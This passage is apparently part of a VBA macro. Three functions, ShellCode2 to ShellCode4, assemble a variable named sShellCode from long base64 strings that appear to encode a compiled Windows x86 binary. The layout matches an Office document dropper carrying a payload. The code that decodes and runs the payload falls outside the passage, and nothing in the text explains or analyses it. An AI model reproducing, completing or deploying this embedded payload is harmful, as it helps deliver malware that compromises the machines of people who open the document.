    sShellCode = sShellCode + "/B4QYDDJVg/AAQ6wW5wOQAEPZBJH91qDvGdBmD+P50FIvIwfkFg+AfweAGAwSNYPwAEOsFuMDkABD2QCS"
    sShellCode = sShellCode + "AdYDot/n//wPDUGoB6MX6//9ZWYNl/ADoovn//wPDUOheJQAAi/j/dQjobxcAAIvw6In5//8Dw1BWagH/"
    sShellCode = sShellCode + "dQjoJjsAAIPEGDvGdS/ob/n///9IJHgQ6GX5//+LSCDGAQr/QCDrEehV+f//A8NQagrokjkAAFlZg2XkA"
    sShellCode = sShellCode + "OhA+f//A8NQV+iXJQAAWVnHRfz+////6AwAAACLReTo1RcAAMNqIFvoGPn//wPDUGoB6JT6//9ZWcOL/1"
    sShellCode = sShellCode + "WL7ItFCIXAdBKD6AiBON3dAAB1B1Do1h0AAFldw4v/VYvsi1UIU4taDFb3wwABAAB0Ug+3UggzwDPJM/Z"
    sShellCode = sShellCode + "mOZbosQAQdAuDxgpBg/54cu7rfGvJCvbDA3QIgcHwsQAQ6yD2wwx0CIHB7rEAEOsT9sMQdAiBweyxABDr"
    sShellCode = sShellCode + "BoHB6rEAEIvB60gPt0II9sMDdAmNBMVmsgAQ6yP2wwx0CY0ExWSyABDrFfbDEHQJjQTFYrIAEOsHjQTFY"
    sShellCode = sShellCode + "LIAEIoIhMl0BYD54HUGgHgBAHUCM8BeW13Di/9Vi+yD7CChhOIAEDPFiUX8oYDiABBWg87/O8Z0Dg+2wI"
    sShellCode = sShellCode + "k1gOIAEOmRAAAAgz0w5gAQ/nUF6P86AAChMOYAEDvGdQSLxut2U1eNTeBRUP8VbLAAEIsdaLAAEGoA/zU"
    sShellCode = sShellCode + "w5gAQ/9OLNWSwABDrKYN95AB0OWaDfegBdRyDfewAdBYPtn32hf91J41F7FDovP7//1mFwHU1jUXkUGoB"
    sShellCode = sShellCode + "jUXoUP81MOYAEP/WhcB1wYPP//914P81MOYAEP/Ti8dfW4tN/DPNXuhE8///ycMPtjgPtkABo4DiABDr1"
    sShellCode = sShellCode + "ov/VYvsg+wQoYTiABAzxYlF/INl8ACDPYDiABD/U1ZXdAgzwEDp7AAAAIM9MOYAEP51BegpOgAAoTDmAB"
    sShellCode = sShellCode + "CD+P8PhM4AAACNTfhRUP8VdLAAEIXAD4S7AAAAi034hckPhLAAAABq4DPSWPfxg/gUcjhryRSNQQg9AAQ"
    sShellCode = sShellCode + "AAHcT6Kw6AACLxIXAdBzHAMzMAADrEVDoAToAAFmFwHQJxwDd3QAAg8AIi9jrAjPbhdt0Zo1F9FD/dfhT"
    sShellCode = sShellCode + "/zUw5gAQ/xVwsAAQhcB0Qot99IX/dDs7ffh3NoX/dDKNcwRmg378AXUdgz4AdBiAfgoAdQtW6IP9//9Zh"
    sShellCode = sShellCode + "cB0B8dF8AEAAABPg8YUiX30hf910VPoRv3//4tF8FnrAjPAjWXkX15bi038M83oDvL//8nDagxoMNQAEO"
    sShellCode = sShellCode + "iaFAAAagPotSEAAFmDZfwA6OL9//+JReTHRfz+////6AkAAACLReTotxQAAMNqA+izIAAAWcNqDGhQ1AA"
    sShellCode = sShellCode + "Q6FwUAABqA+h3IQAAWYNl/ADoff7//4lF5MdF/P7////oCQAAAItF5Oh5FAAAw2oD6HUgAABZw4v/VYvs"
    sShellCode = sShellCode + "UVGNRfhQ/xV4sAAQi0X4i038agAFAIDBKmiAlpgAgdEhTmL+UVDoijkAAIP6B3wOfwc9/29Ak3YFg8j/i"
    sShellCode = sShellCode + "9CLTQiFyXQFiQGJUQTJw2oMaHDUABDozRMAAINl5AAzwIt1CIX2D5XAhcB1GOgACwAAxwAWAAAA6H4wAA"
    sShellCode = sShellCode + "CDyP/psAAAAItdEIP7BHQJhdt0DoP7QHXXhdt0BYP7QHUPi30UjUf+Pf3//392Beu/i30Ug+f+iXUIVuj"
    sShellCode = sShellCode + "T9f//WYNl/ABW6HUdAABW6FI5AABZWYFmDPPC//+LTgz2wwR0C4PJBI1GFGoCX+sti0UMhcB1IFfoyxgA"
    sShellCode = sShellCode + "AFmFwHUM/wWg7wAQg03k/+segU4MCAQAAOsJgckABQAAiU4MiX4YiUYIiQaDZgQAx0X8/v///+gJAAAAi"
    sShellCode = sShellCode + "0Xk6DMTAADD/3UI6MD1//9Zw4v/VYvsi0UIVleFwHhZOwVE/AAQc1GLyMH5BYvwg+YfjTyNYPwAEIsPwe"
    sShellCode = sShellCode + "YGgzwO/3U1gz247wAQAVOLXQx1HoPoAHQQSHQISHUTU2r06whTavXrA1Nq9v8VfLAAEIsHiRwGM8Bb6xb"
    sShellCode = sShellCode + "owQkAAMcACQAAAOjJCQAAgyAAg8j/X15dw4v/VYvsi00IUzPbVlc7y3xbOw1E/AAQc1OLwcH4BYvxg+Yf"
    sShellCode = sShellCode + "jTyFYPwAEIsHweYG9kQwBAF0NoM8MP90MIM9uO8AEAF1HSvLdBBJdAhJdRNTavTrCFNq9esDU2r2/xV8s"
    sShellCode = sShellCode + "AAQiweDDAb/M8DrFeg7CQAAxwAJAAAA6EMJAACJGIPI/19eW13Di/9Vi+yLRQiD+P51GOgnCQAAgyAA6A"
    sShellCode = sShellCode + "wJAADHAAkAAACDyP9dw4XAeAg7BUT8ABByGugDCQAAgyAA6OgIAADHAAkAAADoZi4AAOvVi8jB+QWLDI1"
    sShellCode = sShellCode + "g/AAQg+AfweAG9kQIBAF0zYsECF3DagxokNQAEOhnEQAAi30Ii8fB+AWL94PmH8HmBgM0hWD8ABDHReQB"
    sShellCode = sShellCode + "AAAAM9s5Xgh1NWoK6F0eAABZiV38OV4IdRlooA8AAI1GDFD/FYCwABCFwHUDiV3k/0YIx0X8/v///+gwA"
    sShellCode = sShellCode + "AAAOV3kdB2Lx8H4BYPnH8HnBosEhWD8ABCNRDgMUP8VXLAAEItF5OgoEQAAwzPbi30IagroHx0AAFnDi/"
    sShellCode = sShellCode + "9Vi+yLRQiLyIPgH8H5BYsMjWD8ABDB4AaNRAEMUP8VYLAAEF3DahhosNQAEOihEAAAg03k/zP/iX3cagv"
    sShellCode = sShellCode + "o8RwAAFmFwHUIg8j/6WEBAABqC+ifHQAAWYl9/Il92IP/QA+NOwEAAIs0vWD8ABCF9g+EuQAAAIl14IsE"
    sShellCode = sShellCode + "vWD8ABAFAAgAADvwD4OWAAAA9kYEAXVbg34IAHU4agroVh0AAFkz20OJXfyDfggAdRtooA8AAI1GDFD/F"
    sShellCode = sShellCode + "YCwABCFwHUFiV3c6wP/RgiDZfwA6CgAAACDfdwAdReNXgxT/xVcsAAQ9kYEAXQbU/8VYLAAEIPGQOuDi3"
    sShellCode = sShellCode + "3Yi3XgagroHRwAAFnDg33cAHXmxkYEAYMO/ys0vWD8ABDB/gaLx8HgBQPwiXXkg33k/3V5R+ks////akB"
    sShellCode = sShellCode + "qIOh7FQAAWVmJReCFwHRhjQy9YPwAEIkBgwVE/AAQIIsRgcIACAAAO8JzF8ZABACDCP/GQAUKg2AIAIPA"
    sShellCode = sShellCode + "QIlF4OvdwecFiX3ki8fB+AWLz4PhH8HhBosEhWD8ABDGRAgEAVfoyP3//1mFwHUEg03k/8dF/P7////oC"
    sShellCode = sShellCode + "QAAAItF5OhjDwAAw2oL6F8bAABZw2oMaNjUABDoCA8AADP/iX3kMtv2RQwIdAOAwyD3RQwAQAAAdAOAy4"
    sShellCode = sShellCode + "D2RQyAdAOAyxD/dQj/FYiwABA7x3UW/xWEsAAQUOg6BgAAWYPI/+gGDwAAw4P4AnUFgMtA6wiD+AN1A4D"
    sShellCode = sShellCode + "LCOj8/f//i/CJdQyD/v91FOjkBQAAxwAYAAAA6OwFAACJOOvCiX38/3UIVuic+///WVmAywGLxsH4BY0M"
    sShellCode = sShellCode + "hWD8ABCLxoPgH8HgBosRiFwCBIsRjVQCJIAigIsJjUQBJIAgf8dF5AEAAADHRfz+////6BUAAAA5feQPh"
    sShellCode = sShellCode + "Gn///+Lxull////i3UMM/85feR1G4vGwfgFi86D4R/B4QaLBIVg/AAQjUQIBIAg/lboLP3//1nDzGoIaP"
    sShellCode = sShellCode + "jUABDo8Q0AADPAi00MhckPlcCFwHUX6CgFAADHABYAAADopioAADPA6TQBAACLRQiD+P51DegJBQAAxwA"
    sShellCode = sShellCode + "JAAAA6+SFwHgIOwVE/AAQcg3o8AQAAMcACQAAAOvGi9DB+gWD4B/B4AaLFJVg/AAQD75EAgQz/0cjx3TV"
    sShellCode = sShellCode + "6wFBgDkgdPqKATxhdAg8cnQWPHd1h2oCW4v3M9IhVQwLHXz0ABDrY4vf6+2F9nRlD77Ag+ggdFOD6At0P"
    sShellCode = sShellCode + "YPoN3QRSHQng+gLdBSD6AYPhUr///+DfQwAdSWJfQzrLYXSdRyL14Hj/7///+sfhdJ1DovXgcsAQAAA6x"
    sShellCode = sShellCode + "GE23kEM/brCYPj/IHLgAAAAEGKAYTAdZrrAUGAOSB0+jPAOAEPlMCFwA+E9P7//+j7MgAAi/CJdQyF9nU"
    sShellCode = sShellCode + "Q6A4EAADHABgAAADp5v7//4Nl/AD/BaDvABCJXgyLRQiJRhDHRfz+////6AsAAACLxujYDAAAw4t1DFbo"
    sShellCode = sShellCode + "ZO///1nDaghoGNUAEOh7DAAAi0UMg/gBdXrowDwAAIXAdQczwOk4AQAA6CE3AACFwHUH6MU8AADr6ehUP"
    sShellCode = sShellCode + "AAA/xWUsAAQo2j9ABDorTsAAKOs7wAQ6DYPAACFwHkH6M0zAADrz+jYOgAAhcB4IOhZOAAAhcB4F2oA6A"
    sShellCode = sShellCode + "sUAABZhcB1C/8FqO8AEOnSAAAA6EIRAADryTP/O8d1Wzk9qO8AEH6B/w2o7wAQiX38OT0U8wAQdQXovRU"
    sShellCode = sShellCode + "AADl9EHUP6BIRAADoaDMAAOgxPAAAx0X8/v///+gHAAAA6YIAAAAz/zl9EHUOgz1A5gAQ/3QF6D0zAADD"
    sShellCode = sShellCode + "62qD+AJ1Wej8MgAAaBQCAABqAehhEQAAWVmL8Dv3D4QM////Vv81QOYAEP81iPQAEP8VkLAAEP/QhcB0F"
    sShellCode = sShellCode + "1dW6DUzAABZWf8VjLAAEIkGg04E/+sYVui5EQAAWenQ/v//g/gDdQdX6IQ1AABZM8BA6GsLAADCDABqDG"
    sShellCode = sShellCode + "g41QAQ6BcLAACL+Yvyi10IM8BAiUXkhfZ1DDkVqO8AEA+ExQAAAINl/AA78HQFg/4CdS6hKLUAEIXAdAh"
    sShellCode = sShellCode + "XVlP/0IlF5IN95AAPhJYAAABXVlPoQ/7//4lF5IXAD4SDAAAAV1ZT6Lfn//+JReSD/gF1JIXAdSBXUFPo"

    ShellCode2 = sShellCode
End Function

Private Function ShellCode3() As String
    Dim sShellCode As String

    sShellCode = ""
    sShellCode = sShellCode + "o+f//1dqAFPoE/7//6EotQAQhcB0BldqAFP/0IX2dAWD/gN1JldWU+jz/f//hcB1AyFF5IN95AB0EaEot"
    sShellCode = sShellCode + "QAQhcB0CFdWU//QiUXkx0X8/v///4tF5Osdi0XsiwiLCVBR6BA8AABZWcOLZejHRfz+////M8DocwoAAM"
    sShellCode = sShellCode + "OL/1WL7IN9DAF1BegLPAAA/3UIi00Qi1UM6Oz+//9ZXcIMAIv/VYvsgewoAwAAo8jwABCJDcTwABCJFcD"
    sShellCode = sShellCode + "wABCJHbzwABCJNbjwABCJPbTwABBmjBXg8AAQZowN1PAAEGaMHbDwABBmjAWs8AAQZowlqPAAEGaMLaTw"
    sShellCode = sShellCode + "ABCcjwXY8AAQi0UAo8zwABCLRQSj0PAAEI1FCKPc8AAQi4Xg/P//xwUY8AAQAQABAKHQ8AAQo8zvABDHB"
    sShellCode = sShellCode + "cDvABAJBADAxwXE7wAQAQAAAKGE4gAQiYXY/P//oYjiABCJhdz8////FaiwABCjEPAAEGoB6MY7AABZag"
    sShellCode = sShellCode + "D/FaSwABBoLLUAEP8VoLAAEIM9EPAAEAB1CGoB6KI7AABZaAkEAMD/FZywABBQ/xWYsAAQycO4QOMAEMO"
    sShellCode = sShellCode + "4kOIAEMOL/1WL7ItFCDPJOwTNSOMAEHQTQYP5LXLxjUjtg/kRdw5qDVhdw4sEzUzjABBdwwVE////ag5Z"
    sShellCode = sShellCode + "O8gbwCPBg8AIXcPoRDEAAIXAdQa4sOQAEMODwAjD6DExAACFwHUGuLTkABDDg8AMw4v/VYvsVuji////i"
    sShellCode = sShellCode + "00IUYkI6IL///9Zi/DovP///4kwXl3Di/9Vi+y45BoAAOh+PgAAoYTiABAzxYlF/ItFDFaLdQhXM/+JhT"
    sShellCode = sShellCode + "Tl//+JvTjl//+JvTDl//85fRB1BzPA6a4GAAA7x3Uf6ID///+JOOhm////xwAWAAAA6OQkAACDyP/piwY"
    sShellCode = sShellCode + "AAIvGwfgFi/5TjRyFYPwAEIsDg+cfwecGikw4JALJ0PmJnSTl//+IjT/l//+A+QJ0BYD5AXUni00Q99H2"
    sShellCode = sShellCode + "wQF1Hegi////gyAA6Af////HABYAAADohSQAAOkdBgAA9kQ4BCB0D2oCagBqAFboPjwAAIPEEFbo3zsAA"
    sShellCode = sShellCode + "FmFwA+EmQIAAIsD9kQHBIAPhIwCAADogjAAAItAbDPJOUgUjYUg5f//D5TBUIsD/zQHi/H/FWywABAzyT"
    sShellCode = sShellCode + "vBD4RgAgAAO/F0DDiNP+X//w+EUAIAAP8VtLAAEIudNOX//4mFIOX//zPAiYUs5f//OUUQD4YjBQAAiYV"
    sShellCode = sShellCode + "A5f//ioU/5f//hMAPhWcBAACKC4u1JOX//zPAgPkKD5TAiYUc5f//iwYDx4N4OAB0FYpQNIhV9IhN9YNg"
    sShellCode = sShellCode + "OABqAo1F9FDrSw++wVDoAzsAAFmFwHQ6i4005f//K8sDTRAzwEA7yA+GpQEAAGoCjYVE5f//U1DohzoAA"
    sShellCode = sShellCode + "IPEDIP4/w+EkgQAAEP/hUDl///rG2oBU42FROX//1DoYzoAAIPEDIP4/w+EbgQAADPAUFBqBY1N9FFqAY"
    sShellCode = sShellCode + "2NROX//1FQ/7Ug5f//Q/+FQOX///8VsLAAEIvwhfYPhD0EAABqAI2FLOX//1BWjUX0UIuFJOX//4sA/zQ"
    sShellCode = sShellCode + "H/xWssAAQhcAPhAoEAACLhUDl//+LjTDl//8DwYmFOOX//zm1LOX//w+M9gMAAIO9HOX//wAPhM0AAABq"
    sShellCode = sShellCode + "AI2FLOX//1BqAY1F9FCLhSTl//+LAMZF9A3/NAf/FaywABCFwA+EsQMAAIO9LOX//wEPjLADAAD/hTDl/"
    sShellCode = sShellCode + "///hTjl///pgwAAADwBdAQ8AnUhD7czM8mD/goPlMGDwwKDhUDl//8CibVE5f//iY0c5f//PAF0BDwCdV"
    sShellCode = sShellCode + "L/tUTl///o9DcAAFlmO4VE5f//D4VJAwAAg4U45f//AoO9HOX//wB0KWoNWFCJhUTl///oxzcAAFlmO4V"
    sShellCode = sShellCode + "E5f//D4UcAwAA/4U45f///4Uw5f//i0UQOYVA5f//D4L5/f//6QgDAACLDooT/4U45f//iFQPNIsOiUQP"
    sShellCode = sShellCode + "OOnvAgAAM8mLA/ZEOASAD4ShAgAAgL0/5f//AImNROX//w+FqAAAAIudNOX//zlNEA+G/QIAAIvLM/Yrj"
    sShellCode = sShellCode + "TTl//+NhUjl//87TRBzJooTQ0GJnSDl//+A+gp1C/+FMOX//8YADUBGiBBARoH+/xMAAHLVi/CNhUjl//"
    sShellCode = sShellCode + "8r8GoAjYUo5f//UFaNhUjl//9Qi4Uk5f//iwD/NAf/FaywABCFwA+EQwIAAIuFKOX//wGFOOX//zvGD4w"
    sShellCode = sShellCode + "7AgAAi8MrhTTl//87RRAPgmz////pJQIAAIC9P+X//wIPhc0AAACLnTTl//85TRAPhkgCAACDpUDl//8A"
    sShellCode = sShellCode + "i8srjTTl//9qAo2FSOX//147TRBzQw+3EwPeA86JnSDl//+D+gp1GgG1MOX//2oNW2aJGIudIOX//wPGA"
    sShellCode = sShellCode + "bVA5f//AbVA5f//ZokQA8aBvUDl///+EwAAcriL8I2FSOX//yvwagCNhSjl//9QVo2FSOX//1CLhSTl//"
    sShellCode = sShellCode + "+LAP80B/8VrLAAEIXAD4RpAQAAi4Uo5f//AYU45f//O8YPjGEBAACLwyuFNOX//ztFEA+CR////+lLAQA"
    sShellCode = sShellCode + "Ai4U05f//iYUs5f//OU0QD4Z1AQAAi40s5f//g6VA5f//ACuNNOX//2oCjYVI+f//XjtNEHM7i5Us5f//"
    sShellCode = sShellCode + "D7cSAbUs5f//A86D+gp1DmoNW2aJGAPGAbVA5f//AbVA5f//ZokQA8aBvUDl//+oBgAAcsAz9lZWaFUNA"
    sShellCode = sShellCode + "ACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FbCwABCL2DveD4SXAAAAagCNhSjl//9Qi8Mrxl"
    sShellCode = sShellCode + "CNhDXw6///UIuFJOX//4sA/zQH/xWssAAQhcB0DAO1KOX//zvef8vrDP8VhLAAEImFROX//zvef1yLhSz"
    sShellCode = sShellCode + "l//8rhTTl//+JhTjl//87RRAPggv////rP1GNjSjl//9R/3UQ/7U05f///zQ4/xWssAAQhcB0FYuFKOX/"
    sShellCode = sShellCode + "/4OlROX//wCJhTjl///rDP8VhLAAEImFROX//4O9OOX//wB1bIO9ROX//wB0LWoFXjm1ROX//3UU6Cj5/"
    sShellCode = sShellCode + "//HAAkAAADoMPn//4kw6z//tUTl///oNPn//1nrMYuFJOX//4sA9kQHBEB0D4uFNOX//4A4GnUEM8DrJO"
    sShellCode = sShellCode + "jo+P//xwAcAAAA6PD4//+DIACDyP/rDIuFOOX//yuFMOX//1uLTfxfM81e6Nje///Jw2oQaFjVABDoZAE"
    sShellCode = sShellCode + "AAItdCIP7/nUb6LT4//+DIADomfj//8cACQAAAIPI/+mUAAAAhdt4CDsdRPwAEHIa6I34//+DIADocvj/"
    sShellCode = sShellCode + "/8cACQAAAOjwHQAA69KLw8H4BY08hWD8ABCL84PmH8HmBosHD75EMASD4AF0xlPogu///1mDZfwAiwf2R"
    sShellCode = sShellCode + "DAEAXQU/3UQ/3UMU+hu+P//g8QMiUXk6xfoGPj//8cACQAAAOgg+P//gyAAg03k/8dF/P7////oDAAAAI"
    sShellCode = sShellCode + "tF5OjtAAAAw4tdCFPoyu///1nDzMzMzMzMzMzMzMzMi0wkBPfBAwAAAHQkigGDwQGEwHRO98EDAAAAde8"
    sShellCode = sShellCode + "FAAAAAI2kJAAAAACNpCQAAAAAiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0MoTkdCSpAAD/AHQT"
    sShellCode = sShellCode + "qQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcONQf2LTCQEK8HDjUH8i0wkBCvBw8zMzMzMaPA9ABBk/"
    sShellCode = sShellCode + "zUAAAAAi0QkEIlsJBCNbCQQK+BTVlehhOIAEDFF/DPFUIll6P91+ItF/MdF/P7///+JRfiNRfBkowAAAA"
    sShellCode = sShellCode + "DDi03wZIkNAAAAAFlfX15bi+VdUcPMzMzMzMzMi/9Vi+yD7BhTi10MVotzCDM1hOIAEFeLBsZF/wDHRfQ"
    sShellCode = sShellCode + "BAAAAjXsQg/j+dA2LTgQDzzMMOOjN3P//i04Mi0YIA88zDDjovdz//4tFCPZABGYPhRkBAACLTRCNVeiJ"
    sShellCode = sShellCode + "U/yLWwyJReiJTeyD+/50X41JAI0EW4tMhhSNRIYQiUXwiwCJRfiFyXQUi9foNB4AAMZF/wGFwHhAf0eLR"
    sShellCode = sShellCode + "fiL2IP4/nXOgH3/AHQkiwaD+P50DYtOBAPPMww46Erc//+LTgyLVggDzzMMOug63P//i0X0X15bi+Vdw8"
    sShellCode = sShellCode + "dF9AAAAADryYtNCIE5Y3Nt4HUpgz1k/QAQAHQgaGT9ABDogzUAAIPEBIXAdA+LVQhqAVL/FWT9ABCDxAi"
    sShellCode = sShellCode + "LTQyLVQjo1B0AAItFDDlYDHQSaITiABBXi9OLyOjWHQAAi0UMi034iUgMiwaD+P50DYtOBAPPMww46LTb"
    sShellCode = sShellCode + "//+LTgyLVggDzzMMOuik2///i0Xwi0gIi9foah0AALr+////OVMMD4RP////aITiABBXi8vogR0AAOkZ/"
    sShellCode = sShellCode + "///V4vGg+APhcAPhcEAAACL0YPhf8HqB3Rl6waNmwAAAABmD28GZg9vThBmD29WIGYPb14wZg9/B2YPf0"
    sShellCode = sShellCode + "8QZg9/VyBmD39fMGYPb2ZAZg9vblBmD292YGYPb35wZg9/Z0BmD39vUGYPf3dgZg9/f3CNtoAAAACNv4A"
    sShellCode = sShellCode + "AAABKdaOFyXRJi9HB6gSF0nQXjZsAAAAAZg9vBmYPfweNdhCNfxBKde+D4Q90JIvBwekCdA2LFokXjXYE"
    sShellCode = sShellCode + "jX8ESXXzi8iD4QN0CYoGiAdGR0l191heX13DuhAAAAAr0CvKUYvCi8iD4QN0CYoWiBdGR0l198HoAnQNi"
    sShellCode = sShellCode + "xaJF412BI1/BEh181npC////2oK/xW4sAAQo2D9ABAzwMOL/1WL7IPsTFaNRbRQ/xXAsAAQakBqIF5W6L"
    sShellCode = sShellCode + "8CAABZWTPJO8F1CIPI/+kPAgAAjZAACAAAo2D8ABCJNUT8ABA7wnM2g8AFg0j7/2bHQP8AColIA2bHQB8"
    sShellCode = sShellCode + "ACsZAIQqJSDOISC+LNWD8ABCDwECNUPuBxgAIAAA71nLNU1dmOU3mD4QOAQAAi0XoO8EPhAMBAACLGIPA"
    sShellCode = sShellCode + "BIlF/APDvgAIAACJRfg73nwCi945HUT8ABB9a79k/AAQakBqIOgfAgAAWVmFwHRRgwVE/AAQII2IAAgAA"
    sShellCode = sShellCode + "IkHO8FzMYPABYNI+/+DYAMAgGAfgINgMwBmx0D/AApmx0AgCgrGQC8Aiw+DwEADzo1Q+zvRctKDxwQ5HU"
    sShellCode = sShellCode + "T8ABB8ousGix1E/AAQM/+F235yi0X4iwCD+P90XIP4/nRXi038ign2wQF0TfbBCHULUP8ViLAAEIXAdD2"
    sShellCode = sShellCode + "L94PmH4vHwfgFweYGAzSFYPwAEItF+IsAiQaLRfyKAIhGBGigDwAAjUYMUP8VgLAAEIXAD4S8AAAA/0YI"
    sShellCode = sShellCode + "g0X4BEf/Rfw7+3yOM9uL88HmBgM1YPwAEIsGg/j/dAuD+P50BoBOBIDrccZGBIGF23UFavZY6wqNQ//32"
    sShellCode = sShellCode + "BvAg8D1UP8VHLAAEIv4g///dEKF/3Q+V/8ViLAAEIXAdDMl/wAAAIk+g/gCdQaATgRA6wmD+AN1BIBOBA"
    sShellCode = sShellCode + "hooA8AAI1GDFD/FYCwABCFwHQs/0YI6wqATgRAxwb+////Q4P7Aw+MaP////81RPwAEP8VvLAAEDPAX1t"
    sShellCode = sShellCode + "eycODyP/r9ov/Vle/YPwAEIsHhcB0No2IAAgAADvBcyGNcAyDfvwAdAdW/xXEsAAQiweDxkAFAAgAAI1O"
    sShellCode = sShellCode + "9DvIcuL/N+jxAAAAgycAWYPHBIH/YP0AEHy5X17Di/9Vi+xWVzP2/3UI6B4fAACL+FmF/3UnOQXk8gAQd"
    sShellCode = sShellCode + "h9W/xXIsAAQjYboAwAAOwXk8gAQdgODyP+L8IP4/3XKi8dfXl3Di/9Vi+xWVzP2agD/dQz/dQjopzEAAI"
    sShellCode = sShellCode + "v4g8QMhf91JzkF5PIAEHYfVv8VyLAAEI2G6AMAADsF5PIAEHYDg8j/i/CD+P91w4vHX15dw4v/VYvsVlc"
    sShellCode = sShellCode + "z9v91DP91COjfMQAAi/hZWYX/dSw5RQx0JzkF5PIAEHYfVv8VyLAAEI2G6AMAADsF5PIAEHYDg8j/i/CD"
    sShellCode = sShellCode + "+P91wYvHX15dw4v/VYvsg30IAHQt/3UIagD/NZj1ABD/FQywABCFwHUYVuir8P//i/D/FYSwABBQ6Fvw/"
    sShellCode = sShellCode + "/9ZiQZeXcNqEGh41QAQ6EH5//8z24ld5GoB6FcGAABZiV38agNfiX3gOz2ADQEQfVSL96Fs/QAQORywdE"
    sShellCode = sShellCode + "WLBLD2QAyDdA9Q6EAyAABZg/j/dAP/ReSD/xR8KKFs/QAQiwSwg8AgUP8VxLAAEKFs/QAQ/zSw6FT///9"
    sShellCode = sShellCode + "ZoWz9ABCJHLBH66HHRfz+////6AkAAACLReToAPn//8NqAej8BAAAWcOL/1WL7Gh8uAAQ/xXQsAAQhcB0"
    sShellCode = sShellCode + "FWhsuAAQUP8VzLAAEIXAdAX/dQj/0F3Di/9Vi+z/dQjoyP///1n/dQj/FdSwABDMagjoiQUAAFnDagjop"
    sShellCode = sShellCode + "wQAAFnDi/9W6LAfAACL8FboZTQAAFbojxMAAFboSjQAAFboNTQAAFboKjIAAFboEzIAAIPEGF7Di/9Vi+"
    sShellCode = sShellCode + "xWi3UIM8DrD4XAdRCLDoXJdAL/0YPGBDt1DHLsXl3Di/9Vi+yDPTz8ABAAdBloPPwAEOjNLgAAWYXAdAr"
    sShellCode = sShellCode + "/dQj/FTz8ABBZ6GM1AABomLEAEGiEsQAQ6KH///9ZWYXAdVRWV2i8bQAQ6Cs1AAC4fLEAEL6AsQAQWYv4"
    sShellCode = sShellCode + "O8ZzD4sHhcB0Av/Qg8cEO/5y8YM9QPwAEABfXnQbaED8ABDoYy4AAFmFwHQMagBqAmoA/xVA/AAQM8Bdw"
    sShellCode = sShellCode + "2ogaJjVABDoYvf//2oI6H0EAABZg2X8ADPAQDkFGPMAEA+E2AAAAKMU8wAQikUQohDzABCDfQwAD4WgAA"
    sShellCode = sShellCode + "AA/zU0/AAQizWQsAAQ/9aL2Ild0IXbdGj/NTD8ABD/1ov4iX3UiV3ciX3Yg+8EiX3UO/tyS+hTHgAAOQd"
    sShellCode = sShellCode + "07Tv7cj7/N//Wi9joQB4AAIkH/9P/NTT8ABD/1ovY/zUw/AAQ/9Y5Xdx1BTlF2HQOiV3ciV3QiUXYi/iJ"
    sShellCode = sShellCode + "fdSLXdDrq8dF5JyxABCBfeSssQAQcxGLReSLAIXAdAL/0INF5ATr5sdF4LCxABCBfeC0sQAQcxGLReCLA"
    sShellCode = sShellCode + "IXAdAL/0INF4ATr5sdF/P7////oIAAAAIN9EAB1KccFGPMAEAEAAABqCOiVAgAAWf91COi9/f//g30QAH"
    sShellCode = sShellCode + "QIagjofwIAAFnD6HT2///Di/9Vi+xqAGoB/3UI6K/+//+DxAxdw2oBagBqAOif/v//g8QMw4v/VYvs6IE"
    sShellCode = sShellCode + "1AAD/dQjoyjMAAFlo/wAAAOi+////zIv/VYvsU1aLdQiLRgyLyIDhAzPbgPkCdUCpCAEAAHQ5i0YIV4s+"
    sShellCode = sShellCode + "K/iF/34sV1BW6JoSAABZUOhA9P//g8QMO8d1D4tGDITAeQ+D4P2JRgzrB4NODCCDy/9fi0YIg2YEAIkGX"
    sShellCode = sShellCode + "ovDW13Di/9Vi+xWi3UIhfZ1CVboNQAAAFnrL1bofP///1mFwHQFg8j/6x/3RgwAQAAAdBRW6DESAABQ6A"
    sShellCode = sShellCode + "M1AABZ99hZG8DrAjPAXl3DahRouNUAEOgv9f//M/+JfeSJfdxqAehCAgAAWYl9/DP2iXXgOzWADQEQD42"
    sShellCode = sShellCode + "DAAAAoWz9ABCNBLA5OHReiwD2QAyDdFZQVuiZ1///WVkz0kKJVfyhbP0AEIsEsItIDPbBg3QvOVUIdRFQ"
    sShellCode = sShellCode + "6Er///9Zg/j/dB7/ReTrGTl9CHUU9sECdA9Q6C////9Zg/j/dQMJRdyJffzoCAAAAEbrhDP/i3XgoWz9A"
    sShellCode = sShellCode + "BD/NLBW6KLX//9ZWcPHRfz+////6BIAAACDfQgBi0XkdAOLRdzosPT//8NqAeisAAAAWcNqAegf////Wc"
    sShellCode = sShellCode + "OL/1ZXM/a/IPMAEIM89QTlABABdR2NBPUA5QAQiThooA8AAP8wg8cY/xWAsAAQhcB0DEaD/iR80zPAQF9"
    sShellCode = sShellCode + "ew4Mk9QDlABAAM8Dr8Yv/U4sdxLAAEFa+AOUAEFeLPoX/dBODfgQBdA1X/9NX6GL6//+DJgBZg8YIgf4g"
    sShellCode = sShellCode + "5gAQfNy+AOUAEF+LBoXAdAmDfgQBdQNQ/9ODxgiB/iDmABB85l5bw4v/VYvsi0UI/zTFAOUAEP8VYLAAE"
    sShellCode = sShellCode + "F3Dagxo4NUAEOiU8///M/9HiX3kM9s5HZj1ABB1GOgBMwAAah7oSzEAAGj/AAAA6Oj6//9ZWYt1CI009Q"
    sShellCode = sShellCode + "DlABA5HnQEi8frbWoY6O34//9Zi/g7+3UP6JHq///HAAwAAAAzwOtQagroWAAAAFmJXfw5HnUraKAPAAB"
    sShellCode = sShellCode + "X/xWAsAAQhcB1F1fokfn//1noXOr//8cADAAAAIld5OsLiT7rB1fodvn//1nHRfz+////6AkAAACLReTo"

    ShellCode3 = sShellCode
End Function

Private Function ShellCode4() As String
    Dim sShellCode As String

    sShellCode = ""
    sShellCode = sShellCode + "LfP//8NqCugp////WcOL/1WL7ItFCFaNNMUA5QAQgz4AdRNQ6CP///9ZhcB1CGoR6K78//9Z/zb/FVywA"
    sShellCode = sShellCode + "BBeXcOL/1WL7FaLdQhW6H8PAABQ6OQmAABZWYXAdHzoHNT//4PAIDvwdQQzwOsP6AzU//+DwEA78HVgM8"
    sShellCode = sShellCode + "BA/wWg7wAQ90YMDAEAAHVOU1eNPIVw9AAQgz8AuwAQAAB1IFPo4/f//1mJB4XAdRONRhRqAolGCIkGWIl"
    sShellCode = sShellCode + "GGIlGBOsNiz+JfgiJPoleGIleBIFODAIRAAAzwF9AW+sCM8BeXcOL/1WL7IN9CAB0J1aLdQz3RgwAEAAA"
